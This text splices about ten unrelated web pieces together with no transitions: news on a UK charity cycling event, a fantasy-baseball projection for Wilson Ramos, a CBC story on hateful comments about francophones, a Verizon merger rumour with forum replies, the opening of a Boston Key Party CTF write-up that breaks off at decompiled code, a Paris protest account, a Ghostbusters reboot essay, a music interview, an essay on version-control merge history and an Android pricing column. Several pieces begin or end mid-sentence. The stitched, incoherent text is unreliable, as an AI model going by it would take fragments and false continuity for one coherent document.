just really, really sad because this is the biggest cycling event for amateur mass participation cyclists in the whole of the UK. "It very, very disappointing indeed that a small number of people have chosen to disrupt and wreck it." The event raises cash for Macmillan Cancer Support and the charity estimated it would raise £225,000 this year to help fund its work.
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StumbleUpon What are these? E-mail this to a friend Printable versionWashington Nationals catcher Wilson Ramos currently has an Average Draft Position (ADP) of 140 in National Fantasy Baseball Championship (NFBC) Leagues, and has been taken as late as pick number 184. His ADP makes him the tenth catcher off the board, putting him over 40 picks behind Salvador Perez and Matt Wieters.
With the catcher position being one of the most shallow in fantasy, it’s intriguing to imagine the value that may be held in Ramos being drafted as late as he is. With that being said, I’m here to go category-by-category to see if Ramos is being undervalued heading into 2014.
Power
For the past few years, Ramos has exhibited good power in his time with the Nationals. From 2011 to 2012, he hit an honorable 18 homers in 138 games. While he looked like a 20 home run type of guy at that point, last season has made his potential look much higher.
Ramos was healthy for only half of last season due to two hamstring injuries. However, he produced a lot of value in his limited work. The 26-year-old held a.470 slugging percentage with 16 home runs and 9 doubles in just 303 plate appearances. Extrapolated over 650 plate appearances, Ramos was on pace for a fantastic 34 homers and 19 doubles. It would be foolish to predict him to duplicate these numbers across a full-season based simply on this extrapolation, but there are other signs that Ramos’ power is legitimate.
What immediately sticks out when we look deeper into his numbers is his batted ball data. While he recorded a low fly ball percentage of just 23.6%, his 27.6% home run to fly ball ratio (HR/FB) was one of the best rates in baseball. Some would claim that this was fluky, considering he recorded just a 13.4% HR/FB ratio in 2011. However, last year he was hitting the ball much harder and farther than two years ago. His average fly ball distance shot from 94th in the majors at 285.93 feet in 2011 all the way to 4th in the majors at 309.51 feet. To put it in perspective, he was hitting fly balls farther than both Miguel Cabrera and Chris Davis. While he can hit balls far, his failure to produce fly balls is somewhat worrisome. I do expect his HR/FB rate to come down, so he will need to produce more fly balls in order to continue hitting home runs.
What may be a little more vexing for Ramos is his lefty/righty splits. While his contact ability was decent against both righties and lefties, his power was just the opposite. Ramos hit 15 of his 16 home runs against righties. I don’t envision this reverse-platoon power to hurt his playing time much due to his ability to keep a solid average, but I do believe he’s a bit limited as long as he can’t hit the long ball off lefties.
Yet what really stands in the way of big power numbers is his health. Not only does Ramos have nagging hamstring issues dating back to 2009, but he was also held to just 25 games in 2012 due to a torn ACL. It’s hard to predict him to play a 162-game season when he’s never come close to that in the past. As a result, I can only predict that he’ll play 135 games in 2014. But for him, that could be enough playing time to record good power numbers. I’m setting my prediction for Ramos to 23 home runs for next season.
Average
Ramos recorded a respectable.272 average in his 78 games in 2013. While a.272 average alone is nothing to scream about, it’s a much better rate than the league average.245 among catchers last season. With the power that he can produce, this is plenty good enough to make him very relevant in fantasy. But there’s no guarantee that he can repeat this average.
When predicting his average for next year, the first thing worth looking at is his batting average on balls in play (BABIP). Ramos’.270 BABIP was much lower than his.297 BABIP in 2011 and his.306 BABIP in 2012. There’s clearly a chance that he was getting unlucky last year as a result of his lower-than-average BABIP. It’s reasonable to believe that his BABIP will progress back toward the.300-range. If that were to happen, it’d support the idea of his average going up.
On closer look, Ramos’ contact numbers were encouraging. His 13.9% strikeout percentage was the lowest of his career, and his 81.0% contact percentage was his highest. Though he was swinging at a lot of stuff outside of the strike zone, his 70.5% O-Contact percentage (Percentage of times a batter makes contact with the ball when swinging at pitches thrown outside the strike zone) is an above-average rate and supports the idea that he can hit for average. Perhaps the strikeout rate will go up a bit, but for a younger player, it’s good to not have to worry about strikeouts.
Going back to his batted ball data, his super-high 56.9% ground-ball percentage was a bit surprising for a power-hitter like him. I think we see a decrease in groundballs for him, as he should try to capitalize on his raw power. This is something that could actually play a factor in his average regressing a bit.
All things considered, I don’t think we see much progression or regression from his.272 batting average from last season. I’m actually setting my exact prediction to a.265 batting average, but that’s obviously not a huge regression.
Runs/RBI
Going right along with his power, Ramos put up great counting stats during his short season in 2013. In his 303 plate appearances he racked up a total of 29 runs and 59 RBI, giving him 62 runs and 127 RBI when extrapolated over a 650-plate appearance average. These kind of RBI numbers are absolutely elite, and would make Ramos an all-out stud if he accomplished this. But, it’s obviously tough to expect him to do that.
Ramos batted in a lineup that finished 15th place in the MLB in runs scored and 17th place with a.251 batting average. If their top hitters can stay healthy, I expect that they finish closer to the top-10 in both categories next season.
The Venezuelan had great numbers considering he batted between 6th and 8th in a pretty ordinary lineup. He may have been getting somewhat lucky with the amount of RBI opportunities that he got, but I expect him to get plenty more as the team’s offense improves. We can expect him to bat in similar roles next season, getting plenty of chances to rack up RBIs. Of course, batting that low in the lineup will also hurt his opportunity to score runs.
Taking everything I’ve written into account, I’m predicting that Ramos scores around 55 runs and 75 RBI in 2013. For a catcher, these are definitely good numbers.
The Verdict
My final projection for Ramos in 2014 is as follows:.265 batting average, 23 home runs, 55 runs, and 75 RBI (135 games).
Taking everything into account, I would indeed call him undervalued heading into next season. Even with the assumption he hits the DL at some point, he could still end up being one of the best catchers in baseball. If you can put up with the fact that he may miss some time, he’s certainly worth drafting considering how late he should go in re-draft leagues.A group of 120 prominent francophones in New Brunswick is demanding the CBC overhaul its handling of online comments to filter out posts they consider hateful.
Michel Doucet, law professor and director of the International Observatory on Language Rights at the University of Moncton, organized the letter to CBC. (CBC) They have signed a letter organized by University of Moncton law professor Michel Doucet, which says some users of the CBC website are "systematically propagating hate and contempt towards the francophone community" in New Brunswick.
The letter cites online comments about an "Acadian mafia," calls to "banish all the French" out of the province, and a comment that said languages commissioner Katherine d'Entremont appeared "demonic" in a photograph, among others.
The signatories on the letter include 21 New Brunswick mayors, three New Brunswick senators, a university president, a former provincial ombudsman, a retired Supreme Court of Canada justice, and dozens of Acadian and francophone leaders.
The letter says the signatories recognize people have a democratic right to "strongly express their opposition" to bilingualism and constitutional language protections.
Undermine democratic discourse
But "bullying, contempt, intolerance and disrespect" in some of the comments undermines democratic discourse, it adds.
The letter is addressed to Brodie Fenlon, the director of digital news at CBC, who refused an interview request from CBC News.
"We received the letter and are reviewing it," Fenlon stated in an email. "We intend to respond and I'll share that with you as soon as it's ready. It would be premature to comment before we've responded to Mr. Doucet."
Signatory Rosella Melanson says the issue is not about anglophones and francophones, but rather reasonable and unreasonable people. (Submitted by Rosella Melanson) Rosella Melanson, a signatory and a former executive director of the now-defunct New Brunswick Advisory Council on the Status of Women, said the comments make francophones feel unwelcome in the online discussions on CBC's New Brunswick site.
"You can't go there, you can't approach there, because it's so incredibly hateful," she said. "You can't show your face there because the bullies in the playground will dump on you.
"I don't think it's about ideas. It's about telling Acadians to 'go back to Quebec,' even if they've never been there. It's ridiculous stuff that's full of hate."
Melanson says the issue "is not about anglophones and francophones. New Brunswick is not that divided. It is between reasonable people and unreasonable people."
In Ottawa on Thursday afternoon, Conservative Senator Percy Mockler, who also signed the letter, spoke about it in the Senate and called on CBC president Hubert Lacroix to take steps "immediately" to address the situation.
Indigienous people policy set precedent
In November, CBC announced it was closing comments on stories about indigenous people. While "ignorant, ill-informed and objectionable" comments are expected during a free and open debate, Fenlon wrote, "we draw the line on hate speech and personal attacks."
Doucet's letter says that decision is a precedent CBC should now apply to anti-francophone comments.
"If you changed the word `francophone' and added any other linguistic community, or ethnic community, or religious community in New Brunswick, I'm not sure CBC would want to publish them," Doucet said in an interview.
The letter doesn't call for comments to be closed, but says CBC should be "more discerning" and filter out those whose "only point is to attack the minority community."
Anonymity feeding vehemence
CBC's and Radio-Canada's online comments are moderated through ICUC, a third-party social media moderating contractor based in Winnipeg. Users who comment must set up an account and provide an email address, which is not made public.
But unlike CBC, the French-language Radio-Canada requires users to provide their full name when they register. Although it's impossible to verify every name, moderators intervene if a user name is obviously a pseudonym.
It's much easier to hide behind a pseudonym and say anything you want than when you have to put your name on it and show who is making the comment. - Michel Doucet, law professor
"We wanted to be transparent and we wanted our audience to make that effort too," said Pierre Champoux, Radio-Canada's director of digital news.
He said in a fast-changing media environment, news organizations are constantly re-evaluating their practices.
Doucet said other news organizations that prevent anonymous comments end up with a more civil discussion.
"It's much easier to hide behind a pseudonym and say anything you want than when you have to put your name on it and show who is making the comment," he said.
Kris Austin, the leader of the People's Alliance of New Brunswick, agrees with Doucet that anonymity is feeding the vehemence of the comments.
While many of the comments echo Austin's positions on bilingualism and duality, "we do need to keep some reason to it, and some civility to how we discuss it."
University of King's College Prof. Tim Currie, who specializes in online journalism, says moderating comments is complicated and some news sites are moving away from comments sections. (University of King's College) "With anonymity, they're not held accountable for what they say," he said. "Anybody can say anything about whatever they want, and it can be the most hateful, disgusting thing you'd ever read.
"People have to have the freedom to speak their mind, but I think there has to be some credibility and accountability in what they say in attaching their names to it, and CBC comments are no different."
But Tim Currie, a professor who specializes in online journalism at the University of King's College in Halifax, says moderating comments is difficult.
"You blacklist a user and they show up under another username," he said.
He said he wasn't surprised at Doucet's letter because other media organizations have faced similar complaints.
But drawing the line is complicated, Currie said. Moderators must sift through thousands of comments, and the ones quoted in Doucet's letter, while "intolerant and disparaging," don't contain "the keywords of hate" such as profanity or explicit threats.
Currie says comment sections on news sites are declining industry-wide, with discussions moving to social media, where users choose who they associate with.Report: Verizon Looking to Buy Comcast or Charter Verizon may be looking to acquire a cable company in the hopes of pursuing additional growth, anonymous sources tell the New York Post. The paper claims that Verizon is "weighing the acquisition of a cable company to help grow demand for its wireless data products," according to two anonymous sources. Any such deal wouldn't be small; the report claims that Altice wouldn't give Verizon the kind of scope they're looking for, so the company is most interested in acquiring Comcast or Charter in a mega-merger of the ages.
The report suggests such a union could fuel Verizon's 5G ambitions, but technically such a deal doesn't really make a lot of sense. Comcast, Charter and Verizon's fixed-line networks are all technologically very different and integration would be a nightmare. And while Verizon could use cable's core capacity and WiFi hotspots to help fuel 5G, Verizon has no shortage of its own core bandwidth, and has actually been looking to get out of the fixed-line broadband business and pivot to marketing to Millennials. As such, suddenly saddling itself with tens of millions of new fixed-line residential connections would be notably out of character. The debt load created from a Comcast NBC Universal buy would also be monumental. A far more likely deal for Verizon would be some kind of "smaller," pure media company acquisition (CBS), to keep pace with AT&T's looming $100 billion acquisition of Time Warner. Much of this hysteria appears to be originating with Wall Street analysts, who are bullish about the expected rise in mega-mergers under a more industry-friendly Trump administration. UBS analyst John Hodulik recently highlighted most of the potential mergers in 2017, including a Comcast acquisition of T-Mobile, a Sprint T-Mobile merger, and even a Verizon acquisition of Comcast NBC Universal. All told, these rumors may be more about Wall Street firms cashing in on rumor-triggered stock movement than anything resembling actual reality. Still, it's abundantly clear that Wall Street believes the Trump administration is going to allow a number of megamergers that had previously been seen as unthinkable. All told, these rumors may be more about Wall Street firms cashing in on rumor-triggered stock movement than anything resembling actual reality. Still, it's abundantly clear that Wall Street believes the Trump administration is going to allow a number of megamergers that had previously been seen as unthinkable.
News Jump Tuesday Morning Links Monday Morning Links TGI Friday Morning Links Thursday Morning Links Wednesday Morning Links Tuesday Morning Links Friday Morning Links Thursday Morning Links - Valentines Edition Wednesday Morning Links Tuesday Morning Links ---------------------- this week last week most discussed
Most recommended from 79 comments
silbaco
Premium Member
join:2009-08-03
USA 15 recommendations silbaco Premium Member Verizon Pretty sure this anonymous source is full of nonsense. Verizon is already buried in debt. Buying a cable company doesn't make sense. The price for either Comcast or Charter would add unsustainable levels of debt. It's also been clear they have been trying to shed users, not add them.
I'd say if Verizon is going to buy anyone, it is going to be a content or media company. soothsayer15
join:2002-03-01
Irving, TX 11 recommendations soothsayer15 Member Buy back CA, TX, and FL. I wish Verizon would buy back TX from Frontier. Someone will buy Frontier for pennies on the dollar soon the way they're going.
PapaMidnight
join:2009-01-13
Baltimore, MD 10 recommendations PapaMidnight Member Return of the Bell? Whether or not this is speculation, it speaks to the landscape as a whole.
Ma Bell seems to be returning with a vengeance, and this time is coming along with a serious amount of media consolidation.
tshirt
Premium Member
join:2004-07-11
Snohomish, WA 6 recommendations tshirt Premium Member seems very unlikely the Verizon could buy or be bought by either one from a regulatory viewpoint
and I would think cable companies should be quite confident in the value of their current business model going forward, while Verizon is in experimental mode dumping most wireline for a yet untested wire replacement.
I can see V might be looking to buy newer wireline plant as a backup, but I fail to see what value they can offer the cablecos etaadmin
join:2002-01-17
united state 6 recommendations etaadmin Member Verizon's track record Given Verizon's track record on upgrades I can assure that if VZ buys Charter or Comcast the majority of subscribers will be stuck with DOCSIS2.1 just like their DSL markets... NO THANKS!
tc1uscg
join:2005-03-09
Fort Knox, KY 5 recommendations tc1uscg Member Uhh, No.
Why don't they buy the likes of WideOpenWest. Drop fiber everywhere and rule the world... Not going to happen. Great, and we think Comcast charges too much.Why don't they buy the likes of WideOpenWest. Drop fiber everywhere and rule the world... Not going to happen.
tomatoe
Premium Member
join:2002-08-03
Kansas City, MO 2 recommendations tomatoe Premium Member anonymous sources when ever I hear the term anonymous sources
GadgetMan
join:2014-12-20
Bristol, RI 2 recommendations GadgetMan Member Shutting Down 100 Year Old Legacy Copper Outside Plant If Verizon bought a cable co that, in large part, was redundant to their copper network they would shut down their own outside plant using the cable co fiber/coax network instead. Oh yeah and non union employees also.
maartena
Elmo
Premium Member
join:2002-05-10
Orange, CA ·AT&T FTTP
(Software) pfSense
2 recommendations maartena Premium Member Verizon territories... I would have said the FCC would never allow such a thing, but with Trump's FCC anything is possible, and I wouldn't at all be surprised such a merger gets approved.
But what does this do to markets like e.g. Baltimore and Boston, who only have recently been getting some FIOS upgrades.....or the more particular, the many markets where Verizon has aging copper that they don't want to upgrade, and the cable company is not all that much better. What if they own both? And Verizon owns *all* physical cables going into your house that are capable of delivering internet or television? They would be able to screw you over and not care. "Go to the competition then", they will say..... fully knowing the only competition out there is a Sprint LTE phone and a satellite dish.Boston Key Party (BkP) CTF is a challenging annual CTF organized by several Boston area university alums. It's a challenging CTF that has focused on exploitation, reversing, and cryptography in the past.
I have friends organizing it, so I gave their challenges a try and managed to solve a few.
Writeups
Simple Calc
(pwn, solved by 186)
what a nice little calculator! https://s3.amazonaws.com/bostonkeyparty/2016/b28b103ea5f1171553554f0127696a18c6d2dcf7
simplecalc.bostonkey.party 5400
I teamed up with @kierk for this challenge.
We're given an ELF64 binary. Opening it up in IDA and running the decompiler reveals to us:
int __cdecl main(int argc, const char **argv, const char **envp) { void *v3; // [email |
CHILDREN HATE THE POLICE”. The demonstration, to “stop the hatred of the police”, would of course require a counter demonstration, since the police brutality has been so severe. Since such a large proportion of police (CRS) in France vote FN (national front), it was suspected that there would also be a large fascist presence. It was rumoured that, coming in solidarity with the police, there would be, in contrast with each other, the LDJ (a fascist Zionist group: Ligue de Défense Juive) as well as the followers of Alain Soral (an neo-Nazi and virulent anti-Semite). On the morning, we turned up too late, to find extremely tense lines of police, hundreds of people (left wing and antifascist) being expelled, spilling out of the square in hundreds. We were always five minutes behind but found our way to Quai de Valmy, where there were plumes of acrid black smoke coming from the remains of a police car.
The anti-police demonstration was now dispersed, but at République, it was impossible to get in to the square, since it was protected by gendarmerie, and a rally of police inside, far off, near the statue, with smoke flares of their own. Peach smoke. Marion Maréchal LePen was inside, giving some kind of speech as the star of the fascists. Kids were outside the cordon, a small group of resistance, a little sad. I overheard a teenager say “Marine Le Pen? Sérieux?”. Activists were saying that police were not the problem, it was the fascists, and there was a furious argument in which several Italians said: it could only ever be the army who would join a popular uprising, never the police, since they vote FN. Apparently a police march, against the fascists and against the police was arriving to support the anti police march. It seemed pretty depressing, the square (a few weeks ago, albeit a liberal and fairly boring site of multi-various political activity, but nonetheless a place) had been cleared, forcefully, and now a fascist rally was being facilitated. People were arguing that police could join the movement against the government, and seemed extremely confused about history. Italian communists hung around, too excited to leave, too tired by the lacklustre atmosphere.
Thursday 19th was a huge manifestation beginning at Nation and finishing at Place d’Italie. The cortège – the ‘autonomous’ part of the manifestation, that is the part which is not affiliated to any union – was huge (10 000 people, they say), and took the front of the demonstration. In a furious argument later, two friends discussed the way student moderates had moved over from the Nouveau Parti Anticapitaliste to join this more autonomous part of the march. There were some clashes, and at Place D’italie police stormed the square, making charges at protesters, and threw the usual gas. The Service d’Ordre were again attacking the march. This became the site of many clashes, before things were disbanded.
Source; https://laserveuse.tumblr.com/Yesterday, director Paul Feig gave an interview to Entertainment Weekly in which he explained—not a little defensively—his plans to reboot Ghostbusters with an entirely new, all-female cast and no connection to the films that came before. It definitely won’t be the last such interview. In the eight years that I’ve been covering entertainment news for this site, nothing—not the threat of new Star Wars or Batman, not any of the countless remakes or reboots we cover daily—has produced more ire than the specter of another Ghostbusters, much of it coming directly from me. And Feig understands better than anyone, with the possible exception of J.J. Abrams, that he has a long road ahead of convincing people like me of his intentions—or, at least, calming us down—as he proceeds through these next, difficult steps. He may as well have told us he’s marrying all of our mothers.
Like many of my generation, Ghostbusters isn’t just a movie for me; it’s in my DNA. The year it was released on video was the same year my parents divorced, and the same year I was skipped ahead out of second grade, uprooting me from everything I’ve ever known. And in that tumultuous, friendless time, Ghostbusters was always there. As I wore that VHS into a tracking line-filled mess, Peter Venkman, Ray Stantz, and Egon Spengler (sorry, Winston) became like foster fathers to me. Recognizing in them kindred, nerdy outsiders, I absorbed bits of their personalities as my own: Venkman’s almost sociopathic inability to take any situation seriously; Ray’s goofy enthusiasm for things no one else cares about; Egon’s dry, deadpan detachment. Even now, they are a part of me, as real as any family. And just like family, the last thing I want is to watch them get old and die.
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Amid the uproar over an all-female reboot, it’s easy to forget that, for more than two decades now, that’s been the threat of any new Ghostbusters movie. Back in 2010, Dan Aykroyd—the black heart of the Ghostbusters 3 movement, ladies and gentlemen—kicked off four years of existential dread by saying he wanted to make a movie that would find the Ghostbusters handing it off to a younger generation, due to their own advanced decrepitude. “My character’s eyesight is shot, I got a bad knee, a bad hip—I can’t drive that caddy anymore or lift that Psychotron Accelerator anymore, it’s too heavy,” Aykroyd said of these plans to check in on our beloved heroes to see how age had rendered them feeble as horses waiting to be put down. Hey, fantastic. As long as I’m being reunited with the things I loved to see how time has utterly destroyed them, why don’t we dig up my childhood pets?
We’ve watched as Aykroyd’s passion has turned to zealotry, as steadfast as his belief that space aliens are angry about 9/11 and that we should arrest them—and equally as grounded in reality. After Bill Murray made it clear he’s about as eager to make a third Ghostbusters as he is a third Garfield, Aykroyd insisted, well, they could just do it without him. After the death of Harold Ramis and Ivan Reitman distancing himself, Aykroyd remained determined. Hell, even Rick Moranis and Ernie Hudson expressed their doubts that another one should or even could be made, and yet Aykroyd has always remained undeterred, musing aloud about dream casts to anyone who will listen. One imagines he spends his nights whispering plot details to his bottles of Crystal Skull, taking their rictus grins as signs of encouragement.
And that’s the sad reality: Another Ghostbusters movie is inevitable. Even if Aykroyd had a chilling moment of clarity, perhaps after catching Blues Brothers 2000 on cable, the push to revive it is—even by Aykroyd’s own admission—bigger than any one of them or of us. Ghostbusters is a dormant franchise in an age where such a thing is not allowed, where its parent company Sony rebooted Spider-Man twice in a decade and is ready to do it a third time if need be. No matter how many rejected scripts or surely unnerving meetings with Aykroyd its executives have endured—no matter how many withering blog articles they’ve read condemning the project—no one has come close to pulling the plug entirely. Somehow, “Let’s Just Not Do It” has never been considered as an option. Which is why, while it’s definitely not better than nothing, a total Ghostbusters reboot may be the best possible scenario.
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“Ghostbusters is such a great thing and everybody knows it, and it’s such a great world. It’s a shame to just let this thing sit there,” Feig explains to EW. And while one can quibble with whether it would actually be a shame to just leave it alone, the most reassuring thing about Feig’s take is just that. He will let Ghostbusters just sit there, by making a movie that will have almost nothing to do with Ghostbusters.
As Feig explains, his film will take place in a reality where the first two didn’t even happen. It’s a world that hasn’t been witness to the comings of Gozer or Vigo The Carpathian, or any other major supernatural events that, 25 years later, would have rendered the act of busting ghosts as commonplace as catching mice. The Ghostbusters team we know and love aren’t old men robbed of their powers and charm; in fact, they don’t even exist. Feig adds that, if any of the cast members do want to return, he would welcome them, but “it would just be in different roles now”—an edict I’m guessing could prove difficult to stick to, should Murray come sniffing around. But for now, all that remains is the basic Ghostbusters premise of friends trying to launch a business in which they investigate the dubious existence of paranormal phenomena. That and the name.
Granted, the mere fact that it will be called Ghostbusters will still be enough for some to hate it on principle. (That is, provided it is called Ghostbusters, and Sony and Feig resist the urge to make some girly, ExpendaBelles-like play on the name. Ghostbusterettes. Ghost-Besties. I’ll stop now.) But as someone who feels as protective toward the Ghostbusters name as he does his own, I’m far less concerned about the title than I am the story and characters it represents. And for me, I’m reassured by Feig’s strategy, which actually secures the Ghostbusters legacy: It closes the book that Aykroyd has been trying to force upon for decades now. Then it takes that book away from him.
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“I love the first one so much I don’t want to do anything to ruin the memory of that,” Feig swears to EW. And by not trying to add something new to those memories, he’s doing everything he can to ensure he won’t. This new movie may be called Ghostbusters, but it doesn’t force you to recognize it as Ghostbusters. In fact, knowing that it has nothing to do with the original Ghostbusters means you are free to ignore it if you want. No one has to check in out of love turned into grumbling obligation. No one has to update the Ghostbusters Wiki with what these characters are doing a quarter-century later. No one has to gaze upon baby Oscar, now a grown man learning the family business, and confront their own mortality. Feig’s plan seals the original, “actual” Ghostbusters story away safely in our memories, where it can’t be unleashed by some dickless interloper demanding that the containment system be shut down.
Of course, as Feig himself acknowledges, this means the new Ghostbusters story he’s co-writing with The Heat’s Katie Dippold will have to be judged entirely on its own merits. And again, for some, those merits are already in doubt, based solely on the idea that casting all women is a “gimmick”—as though Feig were, say, suggesting making Bugsy Malone with all children, or having monkeys reenact the Civil War. It’s an idea that Feig deftly refutes, saying, “When people accuse it of being a gimmick I go, why is a movie starring women considered a gimmick and a movie starring men is just a normal movie?”
(Further to that point, why is a movie starring Saturday Night Live and SCTV members chasing ghosts not considered a gimmick? How is Aykroyd’s original idea to cast himself and John Belushi—the Blues Brothers themselves—in an update of an old Bowery Boys comedy not a gimmick? When it comes right down to it, Ghostbusters is a franchise steeped in “gimmicks,” and I say that with love.)
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Still, I understand those reservations. The Heat was only fitfully funny, and if you’re not a fan of that film, or of Bridesmaids, it’s easy to imagine a worst-case scenario in which Ghostbusters is another vehicle for Melissa McCarthy’s physical comedy shtick, or that it will, say, end with a scene of the Ghostbusters bonding while lip-syncing to En Vogue. But at least Feig has his own comedy voice (whether you like that voice or not)—and unlike everyone else who’s taken a stab at Ghostbusters 3 over the past decade, he’s not trying to graft that voice onto a world that already exists. Paul Feig’s Ghostbusters will be Paul Feig’s Ghostbusters, not the Ghostbusters we’ve so fiercely protected. And after living so long under the dark cloud of an official continuation, and with the threat of bearing live witness to the Ghostbusters’ entropy, that’s honestly the best I could hope for.
“At the end of the day, all we want to make is a great movie and people are going to attach a lot of energy to either being nervous about this or being excited about it,” Feig says. “And all Katie and I and the rest of the team, who we slowly assemble, can do is just make a great movie that’s super funny, that’s scary, that’s real, that has great characters that people identify with and want to see in these situations. It’s a world that they’ve experienced before in the old ones, but the hope is the minute they sit down they’ll go, ‘I love the old one, oh my God, I’m loving this new one.’”
Pitting that cautious optimism against all the negative energy that’s been flowing under this project, like so much mood slime, may prove as outlandish a plan as it was in Ghostbusters II—just to name the most obvious example of why revisiting Ghostbusters will never satisfy everyone. And yes, it would be great if there were no new Ghostbusters of any sort. It would be awesome if Feig would apply his talents toward making another, original comedy, rather than putting them in service of warmed-over nostalgia.
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It would be ideal if we didn’t live in a world where studios are so brazenly calculating about exploiting our fondest pop culture memories, rather than taking the risk involved in creating new ones. It would be cool if every single day didn’t bring fresh evidence that the demand for “franchises” has reduced filmmaking to branding. And it’d be nice not to even have to even consider “scenarios” for another Ghostbusters, and decide which one is the lesser of so many evils.
But if we must choose the form of our Destructor, then okay, Paul Feig. I’m ready to believe you.[editor’s note: all questions are answered by Adam Wiltzie]
Firstly, congratulations on the album. Can you talk a little about your use of composition as opposed to improvisation in making this record?
i suppose over the course of time that i have been making music it has always been assumed that all of my records are just me jamming out in the practice space with the tape recorder on. this could not be farther from the truth. this record was extremely deliberate, almost to the point of obsessively so. we have a long history of love for classical composition, and this influence seems very obvious in how it has manifested on magnetic tape vicariously through me and mr. o’halloran.
I read a review elsewhere claiming that you had both sacrificed something from your own styles in making this album. I’m not sure I agree. What are your feelings on the give and take of your collaboration?
that was a review, and opinion and not necessarily reality. yes, we have sacrificed a little bit in letting go of our own egos. we got into each other’s comfort zone. me in the piano, dustin in the soundscapes, and orchestrations. and i reckon this is why the recording resonates with so many people. it is the essence of what collaboration was always intended to be. two artists working side by side in the same room from the very infancy of the recording all the way to the final mixes and mastering. not trading soundfiles through the internet. not sending each other parts to work out in our home studios. we lived this recording together.
You used analogue rather than digital recordings for the project. How do you feel about modern day digital processing techniques?
well, the truth is it was a mix of both. we did the final mixes to half inch analog tape for it has such a unique texture and sound that it almost created a 3rd member of the group. i am quite ambivalent when it comes to digital. i both love and hate so many things about it that it would take a whole separate interview to even scan the surface.
What have the two of you got out of this collaboration other than a fantastic album?
massive debt, and the possibility of moving into this really great homeless shelter that dustin has scoped out for us in east berlin.
Explain the role of whiskey in shaping your relationship and your music.
a long time ago we met a lonely man named whiskey. he would not judge us. he would only listen to us and our slow moving chamber music. many a bottle was consumed, and our livers gently ache because of it.
Read album review of A Winged Victory For The Sullen
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Interview by Ben Rutter exclusively for Headphone Commute.Merge History, DAGs and Darcs One of the popular complaints about CVS and Subversion (before 1.5) was the lack of merge history. In a nutshell, merge history is remembering what has been merged and taking that information into account on future merges. In a bucket? In something bigger than a nutshell, merge history is a lot more complicated. Unless you completely eschew branching, you are going to frequently find yourself wanting to take some changes you made in one place and re-apply them somewhere else. When you do this, you want your version control to make it painless. Without merge history, it is very difficult to make change migration painless, since the tool will try to do things that have already been done. A common example is the case of two branches that occasionally want to merge changes from one side to the other. Here I have two branches of development. On two occasions, somebody merged changes from branch (b) over to branch (a). (Arrows go from a changeset to its parents.) Without merge history, this can be a real pain. When branch (a) tries to grab changes from changeset 5b, CVS doesn't remember that 3b and 2b have already been applied. So it attempts to apply them a second time, resulting in conflicts, pain and frustration and a general fear of branching. One of the coolest things about DAG-based version control tools is that the DAG is an expression of merge history. We interpret arrows in the DAG to mean "'I've got this". So, when it comes time to do merge from 5b over to the (a) branch, we can use information in the DAG to know that 3b and 2b are already done. I'm not saying the algorithm to use this information properly is trivial, but there are multiple implementations, and they work pretty well in practice. For example, Git has a repuation for excellent and painless branching and merging, and the DAG is the main reason why. Cherrypicking But a DAG is just one implementation of merge history, and it is definitely not perfect. An arrow in a verson control DAG goes from child to parent. It tells us that the child contains all of the changes in the parent. And its grandparents. And its great grandparents. And so on. But what if this isn't true? Consider the following picture: I want to create changeset 4. I want to start at changeset 1, and then I want to apply the changes from changeset 3, but NOT the stuff in changeset 2. This operation is sometimes called "cherrypicking". I don't want to merge all changes from one branch to another. I just want to pluck one changeset (or one part of a changeset) and apply it as a patch to some other place. How do I represent this in the DAG? I can't. I could draw an arrow from 4 to 3 (shown above in red). This would correctly say that 4 contains the changes in 3, but it would INCORRECTLY claim that 4 contains the changes in 2.
OR, I could draw no arrow. Effectively, my merge history would simply not record the fact that 4 is really 3 converted to a patch and applied to 1. In either case, something bad is going to happen next time I merge from one branch to the other: If I draw that lying arrow, I will not be given the chance to apply changeset 2, because the merge history believes I already did it.
If I don't draw any arrow, the tool will expect me to deal with changeset 3, because there is no merge history recording the fact that I already did it. Neither of these problems is disastrous enough to make the evening news, but still. DAG-Like Things It's tempting to think that the problem lies in the way I defined my DAG lines. Perhaps a line should mean "just you, not your parents?" But then I would I need to have a line from every changeset to every one of its ancestors. This would be completely infeasible. Or perhaps we need two kinds of DAG lines? Regular lines are the normal case. They imply recursive inclusion. We'll draw them in black.
Red lines are for cherrypicking. When a red line points to a changeset, it says, "I've got this, but not its ancestors." Red lines imply shallow inclusion. But now our DAG is not really a DAG anymore. If we're going to use a DAG, we'd like to be able to use the decades of computer science research about how to deal with them. AFAIK, all the well understood algorithms about DAGs assume there is only one kind of line. For example, is changeset 3 a leaf? Well, maybe. If you ignore the red lines, then 3 is a leaf. But if red lines count, then 3 is an interior node. Many CS algorithms become less useful when questions start getting answered with "maybe". Darcs So, even though the DAG is a pretty good representation of merge history, it isn't perfect. Darcs is an attempt to build a better solution to the problem. Several weeks ago I divided version control tools into two groups: Those where the history is a Line. Those where the history is a Directed Acyclic Graph (a DAG). But darcs doesn't really fit in either of these categories. Its model of history is certainly not a Line. But it's not really a DAG either, at least not in the same way as Git and Mercurial. A darcs changeset records the full merge history at the patch level. Darcs has a nice well-defined algebra of patches which allows it to accomplish some very clever things. But while I consider the concepts behind Darcs to be fascinating, I also consider them to be raw and unproven in practice. I can't see how the algorithm would scale to big problems. And people who know darcs are always talking about the possibility of the merge algorithm going exponential. Darcs seems to have a more complete representation for merge history. But that doesn't mean there is any practical algorithm for making use of that information. For now, I must consider darcs to be in the category of research, not development. Final Thoughts Merge history is a very hard problem. Some of the imperfect solutions have found their way into common usage and proven themselves to be quite practical. But there is a lot more that could be done. Need a thesis topic for your PhD in computer science? Go find a better solution to the merge history problem.Here's one of those fascinating columns where the comments are just as intriguing as the original essay. Seth Weintraub over at Fortune muses on Android smartphone pricing. The iPhone is never far from anyone's thoughts, either. So here's the premise, the conclusions, and the reactions, all in one go.
Google OS is free to manufacturers, because it's supported by ads. Google works on the OS, manufacturers design the Android phones (and some customized UIs). Apple iOS is part of the cost of the iPhone for now (don't worry, Apple just got ads, and ticked-off customers too), the design and manufacturing costs are all-Apple as well. And there's those 40% margins to keep.
So, the $640 question is: Why does an Android smartphone cost essentially the same as an iPhone?
I didn't pull $640 out of thin air as a play on the old $64K question. Android smartphones and iPhone all retail for about $200 or so at US carriers with a 2 year service contract. Obviously American carriers are subsidizing the phones with the Gillette razor-and-blades model: give away (subsidize) the razor (phone), and make the profit off the disposable blades (contracted monthly service costs). You can buy a smartphone with no contract and pay a retail price around $500-600 instead, but you still are usually limited to which carrier it would work with. With the iPhone, you still have to buy a contract with AT&T and it retails for $600.
